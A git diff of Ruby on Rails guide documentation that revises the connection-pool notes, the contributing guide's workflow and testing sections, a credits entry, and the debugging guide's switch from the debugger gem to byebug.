* `action_mailer.set_configs` Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.
@@ -736,4 +936,15 @@ Since the connection pooling is handled inside of Active Record by default, all
Any one request will check out a connection the first time it requires access to the database, after which it will check the connection back in, at the end of the request, meaning that the additional connection slot will be available again for the next request in the queue.
-NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
+If you try to use more connections than are available, Active Record will block
+and wait for a connection from the pool. When it cannot get connection, a timeout
+error similar to given below will be thrown.
+
+```ruby
+ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it:
+```
+
+If you get the above error, you might want to increase the size of connection
+pool by incrementing the `pool` option in `database.yml`
+
+NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
index b9f42fa51b..edcf8fa998 100644
--- a/guides/source/contributing_to_ruby_on_rails.md
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -11,7 +11,7 @@ After reading this guide, you will know:
* How to contribute to the Ruby on Rails documentation.
* How to contribute to the Ruby on Rails code.
-Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation — all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
+Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
--------------------------------------------------------------------------------
@@ -24,18 +24,20 @@ NOTE: Bugs in the most recent released version of Ruby on Rails are likely to ge
### Creating a Bug Report
-If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it was already reported. If you find no issue addressing it you can [add a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
+If you've found a problem in Ruby on Rails which is not a security risk, do a search in GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you do not find any issue addressing it you may proceed to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
-At the minimum, your issue report needs a title and descriptive text. But that's only a minimum. You should include as much relevant information as possible. You need at least to post the code sample that has the issue. Even better is to include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself — and others — to replicate the bug and figure out a fix.
+Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to replicate the bug and figure out a fix.
Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.
-### Create a Self-Contained gist for Active Record Issues
+### Create a Self-Contained gist for Active Record and Action Controller Issues
-If you are filing a bug report for Active Record, please use
-[this template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb)
+If you are filing a bug report, please use
+[Active Record template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) or
+[Action Controller template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb)
if the bug is found in a published gem, and
-[this template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb)
+[Active Record template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb) or
+[Action Controller template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb)
if the bug happens in the master branch.
### Special Treatment for Security Issues
@@ -44,93 +46,29 @@ WARNING: Please do not report security vulnerabilities with public GitHub issue
### What about Feature Requests?
-Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
+Please don't put "feature request" items into GitHub Issues. If there's a new
+feature that you want to see added to Ruby on Rails, you'll need to write the
+code yourself - or convince someone else to partner with you to write the code.
+Later in this guide you'll find detailed instructions for proposing a patch to
+Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you
+can expect it to be marked "invalid" as soon as it's reviewed.
+
+Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
+Generally, a feature is anything that adds new behavior, while a bug is
+anything that fixes already existing behavior that is misbehaving. Sometimes,
+the core team will have to make a judgement call. That said, the distinction
+generally just affects which release your patch will get in to; we love feature
+submissions! They just won't get backported to maintenance branches.
+
+If you'd like feedback on an idea for a feature before doing the work for make
+a patch, please send an email to the [rails-core mailing
+list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You
+might get no response, which means that everyone is indifferent. You might find
+someone who's also interested in building that feature. You might get a "This
+won't be accepted." But it's the proper place to discuss new ideas. GitHub
+Issues are not a particularly good venue for the sometimes long and involved
+discussions new features require.
-If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue for the sometimes long and involved discussions new features require.
-
-Setting Up a Development Environment
-------------------------------------
-
-To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
-
-### The Easy Way
-
-The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
-
-### The Hard Way
-
-In case you can't use the Rails development box, see section above, check [this other guide](development_dependencies_install.html).
-
-
-Running an Application Against Your Local Branch
-------------------------------------------------
-
-The `--dev` flag of `rails new` generates an application that uses your local
-branch:
-
-```bash
-$ cd rails
-$ bundle exec rails new ~/my-test-app --dev
-```
-
-The application generated in `~/my-test-app` runs against your local branch
-and in particular sees any modifications upon server reboot.
-
-
-Testing Active Record
----------------------
-
-This is how you run the Active Record test suite only for SQLite3:
-
-```bash
-$ cd activerecord
-$ bundle exec rake test_sqlite3
-```
-
-You can now run the tests as you did for `sqlite3`. The tasks are respectively
-
-```bash
-test_mysql
-test_mysql2
-test_postgresql
-```
-
-Finally,
-
-```bash
-$ bundle exec rake test
-```
-
-will now run the four of them in turn.
-
-You can also run any single test separately:
-
-```bash
-$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
-```
-
-You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
-
-### Warnings
-
-The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
-
-As of this writing (December, 2010) they are especially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
-
-```bash
-$ RUBYOPT=-W0 bundle exec rake test
-```
-
-### Older Versions of Ruby on Rails
-
-If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
-
-```bash
-$ git branch --track 3-0-stable origin/3-0-stable
-$ git checkout 3-0-stable
-```
-
-TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
Helping to Resolve Existing Issues
----------------------------------
@@ -172,7 +110,7 @@ After applying their branch, test it out! Here are some things to think about:
Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
<blockquote>
-I like the way you've restructured that code in generate_finder_sql — much nicer. The tests look good too.
+I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.
</blockquote>
If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
@@ -180,11 +118,16 @@ If your comment simply says "+1", then odds are that other reviewers aren't goin
Contributing to the Rails Documentation
---------------------------------------
-Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference.
+Ruby on Rails has two main sets of documentation: the guides, which help you
+learn about Ruby on Rails, and the API, which serves as a reference.
You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/rails/docrails/translating-rails-guides).
-You can either ask for commit bit if you'd like to contribute to [Docrails](http://github.com/rails/docrails) regularly (Please contact anyone from [the core team](http://rubyonrails.org/core)), or else open a pull request to [Rails](http://github.com/rails/rails) itself.
+You can either open a pull request to [Rails](http://github.com/rails/rails) or
+ask the [Rails core team](http://rubyonrails.org/core) for commit access on
+[docrails](http://github.com/rails/docrails) if you contribute regularly.
+Please do not open pull requests in docrails, if you'd like to get feedback on your
+change, ask for it in [Rails](http://github.com/rails/rails) instead.
Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
@@ -194,16 +137,28 @@ When working with documentation, please take into account the [API Documentation
NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
-NOTE: To help our CI servers you can add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
+NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
Contributing to the Rails Code
------------------------------
+### Setting Up a Development Environment
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to setup the tests on your own computer.
+
+#### The Easy Way
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+#### The Hard Way
+
+In case you can't use the Rails development box, see [this other guide](development_dependencies_install.html).
+
### Clone the Rails Repository
-The first thing you need to do to be able to contribute code is to clone the repository:
+To be able to contribute code, you need to clone the Rails repository:
```bash
$ git clone git://github.com/rails/rails.git
@@ -216,31 +171,33 @@ $ cd rails
$ git checkout -b my_new_branch
```
-It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
+It doesn't matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
+
+### Running an Application Against Your Local Branch
+
+In case you need a dummy Rails app to test changes, the `--dev` flag of `rails new` generates an application that uses your local branch:
+
+```bash
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+```
+
+The application generated in `~/my-test-app` runs against your local branch
+and in particular sees any modifications upon server reboot.
### Write Your Code
-Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with `git branch -a`). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
+Now get busy and add/edit code. You're on your branch now, so you can write whatever you want (make sure you're on the right branch with `git branch -a`). But if you're planning to submit your change back for inclusion in Rails, keep a few things in mind:
* Get the code right.
* Use Rails idioms and helpers.
* Include tests that fail without your code, and pass with it.
* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
-It is not customary in Rails to run the full test suite before pushing
-changes. The railties test suite in particular takes a long time, and even
-more if the source code is mounted in `/vagrant` as happens in the recommended
-workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
-
-As a compromise, test what your code obviously affects, and if the change is
-not in railties run the whole test suite of the affected component. If all is
-green that's enough to propose your contribution. We have [Travis CI](https
-://travis-ci.org/) as a safety net for catching unexpected breakages
-elsewhere.
TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
-### Follow the Coding Conventions
+#### Follow the Coding Conventions
Rails follows a simple set of coding style conventions:
@@ -256,7 +213,94 @@ Rails follows a simple set of coding style conventions:
* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
* Follow the conventions in the source you see used already.
-The above are guidelines — please use your best judgment in using them.
+The above are guidelines - please use your best judgment in using them.
+
+### Running Tests
+
+It is not customary in Rails to run the full test suite before pushing
+changes. The railties test suite in particular takes a long time, and even
+more if the source code is mounted in `/vagrant` as happens in the recommended
+workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
+
+As a compromise, test what your code obviously affects, and if the change is
+not in railties, run the whole test suite of the affected component. If all
+tests are passing, that's enough to propose your contribution. We have
+[Travis CI](https://travis-ci.org/rails/rails) as a safety net for catching
+unexpected breakages elsewhere.
+
+#### Entire Rails:
+
+To run all the tests, do:
+
+```bash
+$ cd rails
+$ bundle exec rake test
+```
+
+#### For a Particular Component
+
+You can run tests only for a particular component (e.g. Action Pack). For example,
+to run Action Mailer tests:
+
+```bash
+$ cd actionmailer
+$ bundle exec rake test
+```
+
+#### Running a Single Test
+
+You can run a single test through ruby. For instance:
+
+```bash
+$ cd actionmailer
+$ ruby -w -Itest test/mail_layout_test.rb -n test_explicit_class_layout
+```
+
+The `-n` option allows you to run a single method instead of the whole
+file.
+
+##### Testing Active Record
+
+This is how you run the Active Record test suite only for SQLite3:
+
+```bash
+$ cd activerecord
+$ bundle exec rake test_sqlite3
+```
+
+You can now run the tests as you did for `sqlite3`. The tasks are respectively
+
+```bash
+test_mysql
+test_mysql2
+test_postgresql
+```
+
+Finally,
+
+```bash
+$ bundle exec rake test
+```
+
+will now run the four of them in turn.
+
+You can also run any single test separately:
+
+```bash
+$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
+```
+
+You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
+
+### Warnings
+
+The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
+
+If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
+
+```bash
+$ RUBYOPT=-W0 bundle exec rake test
+```
### Updating the CHANGELOG
@@ -264,7 +308,7 @@ The CHANGELOG is an important part of every release. It keeps the list of change
You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
-A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry:
+A CHANGELOG entry should summarize what was changed and should end with author's name and it should go on top of a CHANGELOG. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:
```
* Summary of a change that briefly describes what was changed. You can use multiple
@@ -285,7 +329,13 @@ Your name can be added directly after the last word if you don't provide any cod
### Sanity Check
-You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
+You should not be the only person who looks at the code before you submit it.
+If you know someone else who uses Rails, try asking them if they'll check out
+your work. If you don't know anyone else using Rails, try hopping into the IRC
+room or posting about your idea to the rails-core mailing list. Doing this in
+private before you push a patch out publicly is the "smoke test" for a patch:
+if you can't convince one other developer of the beauty of your code, you’re
+unlikely to convince the core team either.
### Commit Your Changes
@@ -329,7 +379,7 @@ TIP. Please squash your commits into a single commit when appropriate. This simp
### Update Your Branch
-It’s pretty likely that other changes to master have happened while you were working. Go get them:
+It's pretty likely that other changes to master have happened while you were working. Go get them:
```bash
$ git checkout master
@@ -399,25 +449,47 @@ $ git push origin branch_name
### Issue a Pull Request
-Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
-
-Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range".
+Navigate to the Rails repository you just pushed to (e.g.
+https://github.com/your-user-name/rails) and click on "Pull Requests" seen in
+the right panel. On the next page, press "New pull request" in the upper right
+hand corner.
-Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes.
+Click on "Edit", if you need to change the branches being compared (it compares
+"master" by default) and press "Click to create a pull request for this
+comparison".
-Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.
+Ensure the changesets you introduced are included. Fill in some details about
+your potential patch including a meaningful title. When finished, press "Send
+pull request". The Rails core team will be notified about your submission.
### Get some Feedback
-Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
+Most pull requests will go through a few iterations before they get merged.
+Different contributors will sometimes have different opinions, and often
+patches will need revised before they can get merged.
+
+Some contributors to Rails have email notifications from GitHub turned on, but
+others do not. Furthermore, (almost) everyone who works on Rails is a
+volunteer, and so it may take a few days for you to get your first feedback on
+a pull request. Don't despair! Sometimes it's quick, sometimes it's slow. Such
+is the open source life.
+
+If it's been over a week, and you haven't heard anything, you might want to try
+and nudge things along. You can use the [rubyonrails-core mailing
+list](http://groups.google.com/group/rubyonrails-core/) for this. You can also
+leave another comment on the pull request.
+
+While you're waiting for feedback on your pull request, open up a few other
+pull requests and give someone else some! I'm sure they'll appreciate it in
+the same way that you appreciate feedback on your patches.
### Iterate as Necessary
-It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem.
+It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the knowledge of the community. If people are encouraging you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code doesn't belong in the core, you might still think about releasing it as a gem.
#### Squashing commits
-One of the things that we may ask you to do is "squash your commits," which
+One of the things that we may ask you to do is to "squash your commits", which
will combine all of your commits into a single commit. We prefer pull requests
that are a single commit. This makes it easier to backport changes to stable
branches, squashing makes it easier to revert bad commits, and the git history
@@ -453,7 +525,18 @@ $ git push origin my_pull_request -f
You should be able to refresh the pull request on GitHub and see that it has
been updated.
-### Backporting
+### Older Versions of Ruby on Rails
+
+If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
+
+```bash
+$ git branch --track 4-0-stable origin/4-0-stable
+$ git checkout 4-0-stable
+```
+
+TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
+
+#### Backporting
Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
index 10dd8178fb..8767fbecce 100644
--- a/guides/source/credits.html.erb
+++ b/guides/source/credits.html.erb
@@ -64,7 +64,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
<% end %>
<%= author('Pratik Naik', 'lifo') do %>
- Pratik Naik is a Ruby on Rails developer at <a href="http://www.37signals.com">37signals</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
+ Pratik Naik is a Ruby on Rails developer at <a href="https://basecamp.com/">Basecamp</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
<% end %>
<%= author('Emilio Tagua', 'miloops') do %>
@@ -74,3 +74,7 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
<%= author('Heiko Webers', 'hawe') do %>
Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
<% end %>
+
+<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %>
+ Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
+<% end %>
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
index 0860e3119d..b067d9efb7 100644
--- a/guides/source/debugging_rails_applications.md
+++ b/guides/source/debugging_rails_applications.md
@@ -123,7 +123,7 @@ config.logger = Logger.new(STDOUT)
config.logger = Log4r::Logger.new("Application Log")
```
-TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`.
+TIP: By default, each log is created under `Rails.root/log/` and the log file is named after the environment in which the application is running.
### Log Levels
@@ -198,7 +198,7 @@ Adding extra logging like this makes it easy to search for unexpected or unusual
### Tagged Logging
-When running multi-user, multi-account applications, it’s often useful
+When running multi-user, multi-account applications, it's often useful
to be able to filter the logs using some custom rules. `TaggedLogging`
in Active Support helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
@@ -209,430 +209,591 @@ logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "
logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
```
-Debugging with the `debugger` gem
+### Impact of Logs on Performance
+Logging will always have a small impact on performance of your rails app,
+ particularly when logging to disk.However, there are a few subtleties:
+
+Using the `:debug` level will have a greater performance penalty than `:fatal`,
+ as a far greater number of strings are being evaluated and written to the
+ log output (e.g. disk).
+
+Another potential pitfall is that if you have many calls to `Logger` like this
+ in your code:
+
+```ruby
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+```
+
+In the above example, There will be a performance impact even if the allowed
+output level doesn't include debug. The reason is that Ruby has to evaluate
+these strings, which includes instantiating the somewhat heavy `String` object
+and interpolating the variables, and which takes time.
+Therefore, it's recommended to pass blocks to the logger methods, as these are
+only evaluated if the output level is the same or included in the allowed level
+(i.e. lazy loading). The same code rewritten would be:
+
+```ruby
+logger.debug {"Person attributes hash: #{@person.attributes.inspect}"}
+```
+
+The contents of the block, and therefore the string interpolation, is only
+evaluated if debug is enabled. This performance savings is only really
+noticeable with large amounts of logging, but it's a good practice to employ.
+
+Debugging with the `byebug` gem
---------------------------------
-When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+When your code is behaving in unexpected ways, you can try printing to logs or
+the console to diagnose the problem. Unfortunately, there are times when this
+sort of error tracking is not effective in finding the root cause of a problem.
+When you actually need to journey into your running source code, the debugger
+is your best companion.
-The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+The debugger can also help you if you want to learn about the Rails source code
+but don't know where to start. Just debug any request to your application and
+use this guide to learn how to move from the code you have written deeper into
+Rails code.
### Setup
-You can use the `debugger` gem to set breakpoints and step through live code in Rails. To install it, just run:
+You can use the `byebug` gem to set breakpoints and step through live code in
+Rails. To install it, just run:
```bash
-$ gem install debugger
+$ gem install byebug
```
-Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+Inside any Rails application you can then invoke the debugger by calling the
+`byebug` method.
Here's an example:
```ruby
class PeopleController < ApplicationController
def new
- debugger
+ byebug
@person = Person.new
end
end
```
-If you see this message in the console or logs:
+### The Shell
+
+As soon as your application calls the `byebug` method, the debugger will be
+started in a debugger shell inside the terminal window where you launched your
+application server, and you will be placed at the debugger's prompt `(byebug)`.
+Before the prompt, the code around the line that is about to be run will be
+displayed and the current line will be marked by '=>'. Like this:
```
-***** Debugger requested, but was not available: Start server with --debugger to enable *****
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+ 3:
+ 4: # GET /posts
+ 5: # GET /posts.json
+ 6: def index
+ 7: byebug
+=> 8: @posts = Post.find_recent
+ 9:
+ 10: respond_to do |format|
+ 11: format.html # index.html.erb
+ 12: format.json { render json: @posts }
+
+(byebug)
```
-Make sure you have started your web server with the option `--debugger`:
+If you got there by a browser request, the browser tab containing the request
+will be hung until the debugger has finished and the trace has finished
+processing the entire request.
+
+For example:
```bash
-$ rails server --debugger
=> Booting WEBrick
-=> Rails 4.0.0 application starting on http://0.0.0.0:3000
-=> Debugger enabled
-...
-```
+=> Rails 4.1.0 application starting in development on http://0.0.0.0:3000
+=> Run `rails server -h` for more startup options
+=> Notice: server is listening on all interfaces (0.0.0.0). Consider using 127.0.0.1 (--binding option)
+=> Ctrl-C to shutdown server
+[2014-04-11 13:11:47] INFO WEBrick 1.3.1
+[2014-04-11 13:11:47] INFO ruby 2.1.1 (2014-02-24) [i686-linux]
+[2014-04-11 13:11:47] INFO WEBrick::HTTPServer#start: pid=6370 port=3000
-TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, even if it was started without `--debugger`.
-### The Shell
+Started GET "/" for 127.0.0.1 at 2014-04-11 13:11:48 +0200
+ ActiveRecord::SchemaMigration Load (0.2ms) SELECT "schema_migrations".* FROM "schema_migrations"
+Processing by PostsController#index as HTML
-As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+[3, 12] in /PathTo/project/app/controllers/posts_controller.rb
+ 3:
+ 4: # GET /posts
+ 5: # GET /posts.json
+ 6: def index
+ 7: byebug
+=> 8: @posts = Post.find_recent
+ 9:
+ 10: respond_to do |format|
+ 11: format.html # index.html.erb
+ 12: format.json { render json: @posts }
-If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+(byebug)
+```
-For example:
+Now it's time to explore and dig into your application. A good place to start is
+by asking the debugger for help. Type: `help`
-```bash
-@posts = Post.all
-(rdb:7)
```
+(byebug) help
-Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help. Type: `help`
+byebug 2.7.0
-```
-(rdb:7) help
-ruby-debug help v0.10.2
Type 'help <command-name>' for help on a specific command
Available commands:
-backtrace delete enable help next quit show trace
-break disable eval info p reload source undisplay
-catch display exit irb pp restart step up
-condition down finish list ps save thread var
-continue edit frame method putl set tmate where
+backtrace delete enable help list pry next restart source up
+break disable eval info method ps save step var
+catch display exit interrupt next putl set thread
+condition down finish irb p quit show trace
+continue edit frame kill pp reload skip undisplay
```
-TIP: To view the help menu for any command use `help <command-name>` at the debugger prompt. For example: _`help var`_
-
-The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command.
+TIP: To view the help menu for any command use `help <command-name>` at the
+debugger prompt. For example: _`help list`_. You can abbreviate any debugging
+command by supplying just enough letters to distinguish them from other
+commands, so you can also use `l` for the `list` command, for example.
-This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`.
+To see the previous ten lines you should type `list-` (or `l-`)
```
-(rdb:7) list
+(byebug) l-
+
[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
1 class PostsController < ApplicationController
- 2 # GET /posts
- 3 # GET /posts.json
- 4 def index
- 5 debugger
-=> 6 @posts = Post.all
- 7
- 8 respond_to do |format|
- 9 format.html # index.html.erb
- 10 format.json { render :json => @posts }
-```
+ 2 before_action :set_post, only: [:show, :edit, :update, :destroy]
+ 3
+ 4 # GET /posts
+ 5 # GET /posts.json
+ 6 def index
+ 7 byebug
+ 8 @posts = Post.find_recent
+ 9
+ 10 respond_to do |format|
-If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out.
-
-```
-(rdb:7) l
-[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
- 11 end
- 12 end
- 13
- 14 # GET /posts/1
- 15 # GET /posts/1.json
- 16 def show
- 17 @post = Post.find(params[:id])
- 18
- 19 respond_to do |format|
